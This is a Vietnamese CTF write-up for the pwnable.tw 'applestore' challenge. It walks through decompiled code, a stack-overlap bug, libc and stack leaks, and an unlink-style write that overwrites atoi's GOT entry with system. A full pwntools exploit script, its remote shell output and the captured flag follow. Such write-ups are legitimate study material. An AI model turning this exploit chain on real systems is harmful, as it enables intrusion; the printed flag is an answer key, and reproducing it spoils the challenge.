applestore
Vulnerability: Chương trình giữ reference toàn cục đến biến cục bộ của hàm. Khi hàm khác được gọi, vị trí biến cục bộ bị overlapped, dẫn đến chương trình sử dụng input do attacker kiểm soát.
Recon
Mitigation
$ pwn checksec applestore
[*] '/home/hungnt/ctfs/pwnable.tw/applestore/applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file applestore
applestore: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35f3890fc458c22154fbc1d65e9108a6c8738111, not strippedCode
main()
void main(void)
{
signal(0xe,timeout);
alarm(0x3c);
memset(&myCart,0,0x10);
menu();
handler();
return;
}handler()
void handler(void)
{
int choice;
int in_GS_OFFSET;
char buf [22];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
do
{
printf("> ");
fflush(stdout);
my_read(buf,0x15);
choice = atoi(buf);
switch(choice)
{
default:
puts("It\'s not a choice! Idiot.");
break;
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
} while( true );
}add()
void add(void)
{
int device_number;
int in_GS_OFFSET;
Device *device;
char buf [22];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
printf("Device Number> ");
fflush(stdout);
my_read(buf,0x15);
device_number = atoi(buf);
switch(device_number)
{
default:
puts("Stop doing that. Idiot!");
goto LAB_08048986;
case 1:
device = create("iPhone 6",199);
break;
case 2:
device = create("iPhone 6 Plus",299);
break;
case 3:
device = create("iPad Air 2",499);
break;
case 4:
device = create("iPad Mini 3",399);
break;
case 5:
device = create("iPod Touch",199);
}
insert(device);
printf("You\'ve put *%s* in your shopping cart.\n",device->name);
puts("Brilliant! That\'s an amazing idea.");
LAB_08048986:
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}delete()
void delete(void)
{
int device_number;
int in_GS_OFFSET;
int count;
Device *cur_device;
char buf [22];
int local_10;
Device *next_device;
Device *prev_device;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
count = 1;
cur_device = _myCart;
printf("Item Number> ");
fflush(stdout);
my_read(buf,0x15);
device_number = atoi(buf);
do
{
if (cur_device == NULL)
{
LAB_08048a5e:
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
if (count == device_number)
{
next_device = cur_device->next;
prev_device = cur_device->prev;
if (prev_device != NULL)
{
prev_device->next = next_device;
}
if (next_device != NULL)
{
next_device->prev = prev_device;
}
printf("Remove %d:%s from your shopping cart.\n",count,cur_device->name);
goto LAB_08048a5e;
}
count = count + 1;
cur_device = cur_device->next;
} while( true );
}cart()
int cart(void)
{
int in_GS_OFFSET;
int count;
int total_price;
Device *cur_device;
char buf [22];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
count = 1;
total_price = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf,0x15);
if (buf[0] == 'y')
{
puts("==== Cart ====");
for (cur_device = _myCart; cur_device != NULL; cur_device = cur_device->next)
{
printf("%d: %s - $%d\n",count,cur_device->name,cur_device->price);
total_price = total_price + cur_device->price;
count = count + 1;
}
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return total_price;
}checkout()
void checkout(void)
{
int iVar1;
int in_GS_OFFSET;
int total_price;
Device device;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
total_price = cart();
if (total_price == 7174)
{
puts("*: iPhone 8 - $1");
asprintf(&device.name,"%s","iPhone 8");
device.price = 1;
insert(&device);
total_price = 7175;
}
printf("Total: $%d\n",total_price);
puts("Want to checkout? Maybe next time!");
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14))
{
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}Solve
Ban đầu mình nhìn các hàm kia chả có gì đặc biệt cả, có chỗ hàm checkout() thì khi total_price = 7174, chương trình add thêm device được khởi tạo trên stack vào linked list myCart. Chỗ này mình thấy hơi lạ vì đáng lẽ device phải được khởi tạo trên heap chứ nhỉ?
Thế là mình hỏi AI viết một chương trình ngắn tìm nghiệm của phương trình 7174 = 199*x1 + 299*x2 + 399*x3 + 499 *x4, thì có một nghiệm là (6, 20, 0, 0).
Rồi sao? Đến đây mình stuck thật sự, bởi vì trong đầu mình nghĩ rằng ko chỗ nào để input data vào ngoại trừ mấy chỗ nhập choice. Làm gì tiếp theo cũng bị sigsegv. Mình đã phải nhờ AI tìm đọc writeup và đưa ra hint nhỏ nhất có thể.
Giờ mình mới để ý chỗ input này:
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf,0x15);Chương trình cho nhập 21 bytes nhưng chỉ dùng byte đầu tiên để check. Vì device iPhone 8 là biến cục bộ trên stack của checkout(), biến cục bộ buf của cart() overlap với biến nó, nghĩa là khi input vào buf, mình có thể ghi đè các trường của biến device trên stack.
Để leak libc, mình gọi cart() và ghi đè name trỏ đến GOT entry nào đó, để khi liệt kê sẽ in ra địa chỉ. Có được libc rồi, mình phải tìm cách nào đó có đc AAW, my_read() bây giờ mới chỉ ghi trên stack, và cũng ko có chỗ nào overflow để ghi đè return address đc, mà làm vậy cũng khó vì còn canary.
Nhìn vào delete():
if (count == device_number)
{
next_device = cur_device->next;
prev_device = cur_device->prev;
if (prev_device != NULL)
{
prev_device->next = next_device;
}
if (next_device != NULL)
{
next_device->prev = prev_device;
}
printf("Remove %d:%s from your shopping cart.\n",count,cur_device->name);
goto LAB_08048a5e;
}Nếu mình ghi đè được con trỏ next và prev, mình có thể lợi dụng đoạn này để AAW. Ban đầu mình ghi next_device = system(), prev_device là GOT entry của atoi() - 0x8 (vì trỏ đến next). Nhưng làm vậy gây sigsegv, vì ngay sau đó, chương trình sẽ ghi system() + 0xc = atoi() - 0x8, mà system() ở vùng r-xp.
Vậy mình phải tìm 2 nơi làm sao để prev_device + 0x8 và next_device + 0xc đều ghi được. Câu trả lời đó là mình sẽ pivot stack sao cho khi gọi my_read(buf, 0x15), buf sẽ rơi đúng vào GOT entry của atoi(), và ghi đè địa chỉ của system() vào đó, liền sau là “;/bin/sh\0”. Vậy thì lúc gọi atoi(buf) sẽ thực thi system(/bin/sh).
Cần pivot ebp đến GOT entry atoi() + 0x22:

Nhưng làm vậy cần phải có địa chỉ stack, nên mình lại lợi dụng overlap ở cart() để đọc environ trong libc.
Sau đó, ghi next_device = atoi() GOT entry + 0x22, prev_device = ebp của delete() - 0x8. Khi my_read() ở handler(), mình sẽ ghi đc vào GOT entry của atoi().
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("applestore_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *cart+72
# b *0x080489f5
b *0x080489eb
b *0x08048a6f
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10104
return remote(host, port)
p = conn()
def add_device(index):
slan(p, b'>', 2)
slan(p, b'Number> ', index)
def delete_device(index):
slan(p, b'>', 3)
sa(p, b'Number> ', index)
def checkout(pl):
slan(p, b'>', 5)
sa(p, b'(y/n) >', pl)
def cart(pl):
slan(p, b'>', 4)
sa(p, b'(y/n) >', pl)
# Get total price to 7174
for i in range(6):
add_device(1)
for i in range(20):
add_device(2)
checkout(b'y')
cart(flat(b'yy', exe.got['atoi'], 0, 0, 0))
ru(p, b'27: ')
libc.address = leak_bytes(rn(p, 4), libc.symbols['atoi'])
lg("libc address", libc.address)
cart(flat(b'yy', libc.symbols['__environ'], 0, 0, 0))
ru(p, b'27: ')
stack = leak_bytes(rn(p, 4))
lg("stack", stack)
ebp_addr = stack - 0x10c
saved_ebp = exe.got['atoi'] + 0x22
lg("ebp address", ebp_addr)
lg("saved ebp", saved_ebp)
delete_device(flat(b'27', 0, 0, saved_ebp, ebp_addr))
sa(p, b'>', p32(libc.symbols['system']) + b';/bin/sh\0')
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10104: Done
libc address -> 0xf75dd000
stack -> 0xffdaabdc
ebp address -> 0xffdaaad0
saved ebp -> 0x804b062
[*] Switching to interactive mode
$ cd home
$ ls
applestore
$ cd applestore
$ ls
applestore
flag
run.sh
$ cat flag
FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}